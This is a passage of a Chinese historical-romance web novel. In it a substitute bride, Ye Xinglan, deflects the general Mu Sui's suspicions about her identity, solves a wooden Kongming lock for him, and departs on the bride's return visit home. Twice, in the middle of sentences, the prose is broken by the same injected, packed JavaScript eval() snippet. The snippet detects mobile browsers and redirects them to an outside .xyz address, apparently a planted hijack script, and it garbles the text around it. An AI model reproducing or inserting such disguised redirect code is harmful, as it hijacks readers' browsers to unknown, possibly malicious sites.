身着红白相间的长袍,腰间一条折射着微光的银色腰带,手心的白色折扇随意扇着。男生女相,锐利的丹凤眼和薄薄的两片红唇道破店主的狗仗人势。 虽然上次游园宴见过一些公子小姐,但叶星澜对眼前这张面孔极其面生,她警惕地后退一步。 男人合起手里的折扇,露出一个极度柔美的笑容,轻声道:“多谢少夫人相助。” 叶星澜心里有许多个问号,可全被男人的一句话堵住,她愣愣地指着自己的鼻子问:“谢我?” “实不相瞒,这木作店真正的东家正是在下。至于他。”男人连下巴都没低,随意扫了眼跪在地上浑身哆嗦的男人,“不过是因为在下对木材生意尚在摸索阶段,特寻在行之人帮忙顾店。” 没等叶星澜开口,双膝跪地的中年男人猛地抬头,直望着漫不经心的年轻男人,恳求道:“少夫人饶命!是小人有眼不识泰山,是小人孤陋寡闻——” 面对木作店“主理人”态度的三百六十度的变化,叶星澜浑身都不适应,连连后退好几步。 膝下人的一遍遍哀求,可男人作为真正的老板却像全然听不见似的,依旧笑着对叶星澜微微点头道:“光顾着说话,还望少夫人莫怪。在下吏部尚书之子许修远,游园宴那天我因病未能赴宴,难怪少夫人见我面生。” 原来他就是穆岚风心心念念的许公子。叶星澜不禁仔细打量起来。这人虽然总是摆出一副笑盈盈的表情,但瞧不出几分真情。叶星澜没多想,只当许修远是礼貌和客气。 “如若不是少夫人聪慧过人,识破他的黑心之举,恐怕我要一直被蒙在鼓里——” 叶星澜不想听这些客套话,摆手帮旁边的买家说话:“他是你店里的人,要怎么处置你说了算。但人家买到的劣质产品,你们店要售后。” “这是当然。”许修远满脸谦虚,“不知修远可请嫂嫂店内饮杯热茶?” 就算是他和穆岚风有婚约,可突然叫得这么亲昵,叶星澜浑身的鸡皮疙瘩都起来了。她扭头张望着,最后指着人群外的仆从们,“天色不早了,我得回家吃饭了。” 围观的人越来越多,要是和许修远坐下喝茶的事情传到那个“疯木兰”耳朵里,不知道又会闹出什么事来。 叶星澜一手拉着走到身边的阿宁,一手提起裙摆,快速走出许修远的视线范围。 在回家的路上,阿宁也好奇地不停追问:“你是如何区分那些木材?又是如何学得这些的?从前在府中竟然一点也没听说过你还懂这些。” 叶星澜双手抱臂,无所谓地扯谎道:“都是我偷懒的时候学的。” 一行人拎着大包小袋刚进府,迎面走来一壮汉,是之前替穆随送金簪首饰的人。 这男人倒没多说话,同她作揖道了个好就快步离开。 可叶星澜不知怎的,心情突然忐忑起来。果然等她回到自己小院换好衣服准备去膳堂吃饭时,穆随从后方走来,在她身边慢下脚步。 “今日出门可遇见什么人?” 会这么问就说明穆随已经知道街上的事情。叶星澜随口道:“你妹夫,许修远。” 穆随不咸不淡地应了声,接着问:“为何你的丫鬟从来不唤你‘小姐’?” 看似平平无奇的问题让叶星澜心里咯噔一下,强装镇定道:“家中与我同龄的并不多,她是我贴身丫鬟,特允她直唤我姓名。我自幼与她一同长大,一同玩乐,我把她当妹妹。” “那为何无人时,她唤你‘阿星’?” 他是什么时候听见的?阿宁和她明明已经很小心翼翼了。叶星澜皱了皱鼻子,接着刚才的话说:“乳名,我们那边小时候都这么叫。” 穆随的目光依旧落在远处,半晌后才道:“你气度宽宏,倒有晏大人之风。恤下以仁,殆见家风淳厚,世德相承。” 别人听了肯定以为这是夸奖,可叶星澜听了心里七上八下。脑海中不断回放两人相处的片段,蓦地停在昨夜她随口问起他的父亲。 虽说双方对这桩婚事都不情不愿,可对方的家世怎么可能半知不解。穆随心思缜密,想必现在已经起疑,说不定刚刚他的下属会出现就是在暗中调查她...... 担心自己替嫁一事暴露,她正盘算着要怎么写信和晏府统一口供,捏着袖口的手指不自觉收紧。 左脚才踏进膳堂,穆岚风怒气冲冲地停在叶星澜面前,以极低的音量质问她:“你为什么和许公子在一起?” 叶星澜还没来得及开口,穆随一手将穆岚风拉至身侧,也低声警告道:“你把我昨夜的话当耳旁风?” 穆随没帮穆岚风说话倒是让人意外,但此刻的叶星澜完全没心思对付她。而穆岚风在大哥这里吃了瘪,最后也只能对面无表情的叶星澜回以怒目。 还没坐下,又被打扮得花枝招展的叔母叫住:“侄媳妇竟然和岚风的未婚夫认识,可我听说上次游园宴他并未露面,怎么你同他长街初见便有说有笑,幸亏咱们穆家与许家早就缔结婚约,否则真要叫人误会。瞧,我又说多了,侄媳妇都没开口的机会。” 怎么男女只要站在一起就会被认为是亲密关系!好吧,这里是封建时代。叶星澜提着一颗心脏,绞着手指,也笑道:“叔母说笑了。我同他不过是碰巧遇见,事先并不知其身份。” 祖母尚未到场,叔母便是在场最大的长辈,她弯弯的细眉一挑,她捋着手里的粉色帕子,道:“也是,侄媳妇生长在重岳县,来京城不足半年,对这京城和公子小姐少有见识。可你今日在长街与许公子说笑实在不妥,日后定要注意,莫再叫人笑话名门嫡女为了根不值钱的木头斤斤计较。” 叶星澜在心里翻了个白眼,准备面上老实地点头应下时,穆随也一反往常地笑着看向她:“你今日在长街偶遇许公子,倒也省去日后再费口舌介绍。不过你今日经过木作店可有拿到我派人送去的木锁玩具?” 眼下穆随主动帮忙解围,也许是自己的妻子同妹夫在长街上相遇,他本人不知,再加上被叔母拱火,兴许脸上挂不住才会无端提起孔明锁。 但无事献殷勤,其中必有诈。 叶星澜还没想好如何回应,穆岚风倒眼眸乍亮:“什么是木锁玩具?” “前些日子在京城外遇见一孩童手里把玩,便问那孩童的父亲寻了打造之法,你嫂嫂今日上街便是替我去取那木锁。” 果然是见多识广的大将军,说起谎来从容淡定。他稍侧身朝膳堂外看了一眼,便有一小厮端着黑色匣子走来。 “既然岚风感兴趣,不如让她先看看?”穆随冷不丁转向叶星澜,嘴角隐约带着一点笑意。 满脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423305|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子都是替嫁被发现要满门抄斩的惨烈下场,被身后的阿宁拽了拽袖口才回过神来,她抬眸与穆随对视,迟钝地点了点头。 穆岚风对那木头玩具爱不释手,还不忘拿给叔母眼前摆弄,得意极了。 穆随又问叶星澜:“你可喜欢?” 一来二去就把话题转移开,叶星澜猜到他是在演戏,随口道:“我更喜欢看话本。” 穆随不咸不淡地应了声。 又过了一会儿,祖母终于拄着拐杖从屏风后走出,叔母也一改刁难神态,毕恭毕敬地从椅子上站起,慢慢走到圆桌边。 原以为叔母在饭前的刁难,今天的晚饭又是一场针对她今天偶遇许修远的批斗大会。可除了放下孔明锁的穆岚风会偷偷瞪她以外,没人说话。 一顿饭虽是吃得胆战心惊,但丝毫不影响叶星澜不论发生天大的事也要把肚子填饱的做派。 她反手扶着后腰,和阿宁一起快步在长廊中,小声问:“从京城写信送回重岳县要多少时日?” 阿宁掐着手指数了起来,“短则半月,长则——” “半个月?!” 火烧眉毛只要半秒,可叶星澜再急不可耐也没有别的办法,她回到自己的房间让阿宁准备了笔墨纸砚,几分钟就写完一封全是嘱咐的信。 等她把信塞进阿宁的袖袋里,神色严肃道:“阿宁,穆随已经对我的身份起疑了,他一定会派人暗中调查,所以这封寄回晏府的信千万千万千万不能叫人瞧见,否则我们大家都要死翘翘。” 阿宁听了也变得紧张起来,从拿到信的一刻开始就放轻脚步,死死抓着藏着信的胳膊。 待阿宁离开后,屋内一片安静。 叶星澜跷着二郎腿躺在床上绞尽脑汁。在晏府收到信的这段时间里,她要谨言慎行,再不能露出一丝马脚。可待在府里实在没意思,没有手机没有网络,别说半个月,她现在就开始无聊起来。 她起身随手拿了本白天在书肆买回来的话本子,刚翻开,就听见身后传来“吱呀”声,她警惕着转身,果然与表情寡淡的穆随的目光撞在一起。 在他找到确凿的证据证明她是替嫁前,更要稳住阵脚。叶星澜咽了口唾沫,先发制人道:“你来干嘛?” 穆随径直走到她身边,从她手里拿过话本,答非所问道:“晏小姐是何时精通木作之事?” 果然是来套话的,幸好早有预料,她不慌不忙道:“将军有所不知,我的外祖母就是商贾之女,并且曾祖父早年就是靠木材生意起家,幼时陪在外祖母身边时便习得一二。” “能将柏木和白松细分得如此清楚,看来晏小姐是亲眼见过木材打磨成型。” 穆随没有用半个压迫性的字眼,可浑身却散发着令人瑟缩的气质,叶星澜本就心里没底,大胆伸手把身前的人推开些,应了声:“是。” 他把话本放在桌上,缓缓道:“可我听闻晏小姐幼时咳疾缠身,晏大人寻遍名医都未果,终日将你留在府中悉心调养,又怎么放心让你到满是尘屑的地方?” 穆随直直盯着,叶星澜连眼睛都不敢眨,但心脏却已经提到了嗓子眼。 说得了什么偏方?他肯定会把这偏方追查到底。说后来病好了学的?可他派人回晏府随便抓个人问都会露馅。 大脑飞速运转着,叶星澜瑟瑟地抿了下唇:“因为......因为那时候我被鬼上身了。” 11. 神鬼 叶星澜想不到完美的说辞,只好胡诌些看不见摸不到的东西。 在穆随的眼底捕捉到一丝疑惑,她硬着头皮继续编下去:“我幼时确实身体不好,父亲为我寻遍名医,我吃过的药比你吃过的饭都多。那天家里来了个神婆,她只看了我一眼,断定我印堂发黑,双眼无神必是邪祟附身。” 穆随虽然没打断她,眼神却越发捉摸不透。 “等到月圆之夜,神婆穿着红衣,拿桃木剑围着我转圈跳舞,嘴里不知道念了些什么,后来还烧了一张符纸丢在碗里,强迫我把那碗水喝下去。” 叶星澜当然也知道这很荒谬,但幸好这里是古代,古人遇到无法解决的问题总会相信神佛。 穆随垂眸,手心摸上腰间的玉佩,追问道:“那为何我从未听人提起过?” 叶星澜暗自松一口气,接着压低音量,神秘道:“母亲担心此事影响父亲仕途,便在府里下了死令。” 穆随慢慢坐在椅子上,红烛摇曳的火光为他的眉眼多添几分温暖。 “神婆临走时交代母亲,依附在我身上的邪祟生前是位老木匠,本性良善,只是迷了黄泉路才会如此,唯有我日后多接触自然之物才能修养安康。” “如你所说,你学习木材之事都是为了修养身子?” “起初我们都不信神婆的话,可自从我和外祖母学了许多,就再也没做过噩梦,咳疾也好了。你都不知道,我小时候每晚都梦见有人掐着我的脖子,我说不了话,只能不停地咳嗽。” 为了让自己的话更有说服力,叶星澜也坐在穆随对面的圆凳上,两手掐着自己的脖子,一边用力咳嗽,咳得满脸通红,眼泪都流出来才换来穆随逐渐了然的神色。 大演特演过后,叶星澜拧着眉给自己倒茶,水流刚注入杯中,穆随便好整以暇地用食指点了点桌,叶星澜没好气地睥睨道:“要喝自己动手。” 依旧对穆随没有好脸色,见他板着眉眼终于起身,叶星澜忙不迭也跟着起身,并且抢在穆随动作之前推开门,笑容假惺惺。 穆随的肩线一僵,接着他的左手伸进右手的袖口,拿出打磨光滑的孔明锁,道:“你若能解开它,我便送你一份好礼。” 他是杀人不眨眼的将军,谁知道他说的好礼是什么。叶星澜皱眉问:“什么东西?” “你解开我再告诉你。” 穆随笃定她解不开,连带看孔明锁都高高在上,叶星澜从他手里拿过。 这玩具无非就是六根孔明锁,每根粗木条上都是不同形态的榫头和卯眼,通过几何图形的设计才能咬合住。这种类似的玩具叶星澜不知道玩了多少次。 她的手指本能地飞快调动着每一根粗木条,没几下就把这孔明锁拆成大小相等的粗木条,放回穆随的手心,眉毛一挑,“说吧。” 穆随垂眸望着手里的木条,过了好半晌才握紧手心,道:“三日后回门。” 从前的车马很慢,书信很远。慢到她回到晏府,刚寄出的信都不一定回到晏大人手里。 大脑里有一道惊雷闪电劈过,叶星澜站在原地,面如死灰地看着穆随的背影隐匿在黑暗中。 西郊的军营中,帐帘被人掀开,穆随挺腰大步走进去,便有人高呼道:“将军。”众人循声抬头附和。 穆随站在帐中,环顾一周问道:“可有人解开这木锁?” 稍胖些的男人难为情地挠着后脑勺,看了眼穆随,又低头看着立在桌上的孔明锁,小声叹气:“这么点东西怎么比打战还难,干脆一刀劈开。” 听见这小声的抱怨,穆随撩起外袍,岔着双膝坐下,把手心的木条放下。 男人们听见木头掉落的清脆声,立刻一拥而上,围在长桌前,交头接耳着:“将军,你是怎么解开的?这木锁没用一根铁,居然这么难拆!” “是啊,我们这么多人凑在一起都拆不下一根,将军不到一晚上就全都解开了,将军不愧是少年英雄!” 被人拍马屁,穆随的耳朵微微发起烫来,手心摩挲着下巴刚打好腹稿,便有人起哄道:“不如将军拼回原状,再教教我们这么拆。” “诶,你这胖子说得还挺有道理。那句话叫什么来着......授人以鱼不如授人以渔。” 在女孩低头专注的时间里,穆随还没看清楚,木条便被女孩尽数放在手心。有那么一瞬间,他想起了指尖功夫更为灵巧的母亲,那时的母亲为他缝补盔甲也是一副轻松自如的表情。 可眼下穆随的心腹们催促着他复原,他实在只记得女孩拆解木锁的残影动作,便依靠仅有的记忆把木条重新拢在指间。 一炷香的时间过去,刚搭好三根木条,只是松一口气便又全部轰然掉在桌面上。 胖子孙勉毫不介意地笑道:“将军,原来你不会啊,我还以为你会呢!” 皮肤更为黝黑的孙励抬手一巴掌拍向孙勉的后脑勺,急道:“将军能拆就能拼,将军只是今晚累了,一时想不起来罢了。” 被这么多双眼睛盯着实在难堪,幸好孙励为他找好说辞,他便抓着几根木条,起身道:“明日我再来教你们,家中还有事,我先回府了。” 在跨上马背的瞬间,穆随也发觉今夜来来回回的折腾实属无用功。可他是千万将士的首领,他都不能说不会,就算他不会也得想办法会。 在回府之后,他便一头扎进书房里,与这六根木条血战到天亮。 叶星澜昨夜忧心忡忡,睡得不好,用过早饭后,便找了处既温暖又没有阳光直射的地方睡下,阖着眼把昨晚和穆随的对话讲给阿宁听。 阿宁本就害怕替嫁一事被发现,听完之后更是手里没拿稳,陶瓷杯摔在地上,叶星澜沉沉叹了口气,起身帮着一起清理干净。 等到中午,阿宁见叶星澜还能嘴里咬着烧鹅,手里剥着大虾,完全没有半点担忧的样子,惶惶地问道:“你不怕吗?” 叶星澜咽下嘴里的肉,把剥好的虾肉放进嘴里,继续剥着:“怕啊。可是怕有什么用,我能做的都做了。” 每一顿饭都当作最后一顿饭吃,每一分都当作古代生活的体验倒计时。叶星澜依旧该吃吃该喝喝该睡睡。 等到午休时间,院子口的小厮突然传话将军来了,叶星澜“蹭”的一下从躺椅上站起,两只眼睛紧盯着长廊上慢慢走向自己的穆随。 他眉心微蹙,眼下乌青,嘴角绷成一条直线。又是一身黑袍,着实和这院子里的惬意春色相违。 叶星澜问他:“你又来做什么?” 他的眉骨深邃,即使直面阳光也能睁开双眼,眼眶里那双幽深的瞳孔被几分朦胧的温情附着。他从袖带里取出被拆开的孔明锁,难得低下头问她:“晏小姐,能否把此物拼回原样?” 一会儿要解一会儿要拼,谁知道他葫芦里卖的什么药。刚想要拒绝,可对上他那双毅然的目光,叶星澜心生奇想,故意做出为难的样子。 在她第二次手指摸向木条又缩回时,穆随终于觉察到异样,问:“可有什么问题?” “我可以帮你拼回去,但你得答应我一个条件。” “什么条件?” “你不许和任何人提起我被鬼附身的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423306|184822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情。” 原以为穆随会多有顾虑,加之他本就心思深沉。可他几乎是脱口而出:“好,我答应你。” 叶星澜的心底终于有了点欣喜,在她第三次即将拿起躺在他粗粝掌心的木条时,缩回手补充道:“我不相信你。” 穆随终于露出不满之色,叶星澜便后退一步,摆出一副宁死不屈的样子说:“除非你以你的性命发誓。” 他的眉头皱得更紧,气氛变得焦灼,两人互相瞪着对方。终于还是穆随先败下阵来。他伸出几根手指朝向晴朗的天空,笃定道:“我以我的性命发发誓,绝不将你被邪祟附身之事告知第三人。” 叶星澜满意地眨了眨眼睛,从他手里接过粗木条,又在他过分专注的目光中一根根拼接回原状。穆随拿着孔明锁端详了好一会儿,终于在叶星澜问他还有没有其他事时拔腿就走。 虽然穆随在她跟前发了誓,可男人的嘴就是骗人的鬼,叶星澜依旧有些惶惶不安,生怕哪天穆随就会动用他的权力偷偷去找那个不存在的神婆。 在启程的两天里,叶星澜和阿宁交代了许多注意事项,阿宁也全部照做,又挨个叮嘱从晏府带来的小厮和丫鬟。 天还没亮叶星澜就被一阵急促的敲门声吵醒,半梦半醒地揉着眼皮,阿宁领着三两人就开始掀她的被子,把她从床上拉起来,为她梳妆打扮。 叶星澜本想拒绝,余光瞥见此刻的阿宁毫无昨日的畏惧忧虑之色,便想到自己写的信是不是已经送到了。她也跟着眸光一闪,把阿宁拉到身边,小声问:“是信送到了吗?” 阿宁摇了摇头,叶星澜扬起的笑容瞬间僵住,“那你怎么还有心情帮我梳妆打扮?!” 阿宁叹息道:“将军吩咐的,我们只好照办。” 在她没有暴露身份之前,她就是八抬大轿进门的少夫人,回门路上要经过许多双眼睛,纵使他对她百般怀疑,面上还是要做足功夫。 看着镜子里的少女发里别着金钗,唇间一抹嫣红,叶星澜嘴角一瞥,小声骂道:“装货。” 府邸大门前,叶星澜刚要上马车,就瞧见同样满脸不情不愿的穆岚风朝自己的方向走来,想着此行若是倒霉,那与她就是最后一见,叶星澜罕见地冲人笑了笑。 穆岚风却不领情,当作没看见似的和叔母说起话来。 穆随不知道什么时候出现的,站在叶星澜身边,道:“叔母管家离不得府,祖母让岚风陪同我们一起去往重岳县,聊表敬意。” 叶星澜不可置信道:“她也去?” 穆随点头,叶星澜只好接受现状。但后悔刚才对她笑,于是她在上马车时也故意装看不见似的挤开穆岚风,先一步抬脚,听见身后传来一声愤愤的骂声才舒心。 马车颠簸,一路上,叶星澜和穆岚风谁也不睁眼瞧谁。 直到城门口例行检查时,窗外传来一道略耳熟的声音。穆岚风也听见了,像八百年没见过人似的,猛地把窗推开,脑袋探出去,嗓音变得娇柔:“许公子,你怎么在这里?” “听闻穆将军要回门......” 慕岚风两只耳尖通红,叶星澜对她在未婚夫面前礼貌,却在其他人面前嚣张跋扈的做派实在看不顺眼,没忍住翻了个白眼。 而真正让叶星澜脸色复杂的是许修远当着这么多人的面,说:“修远特来与嫂嫂告别,嫂嫂可好?” 话落,穆岚风扭头看向叶星澜的眼神比刀尖还锐利,恨不得将人活刮。 叶星澜向窗外的红衣男子回以微笑,心里却骂道:“大哥,你赶紧走吧,别害我了!”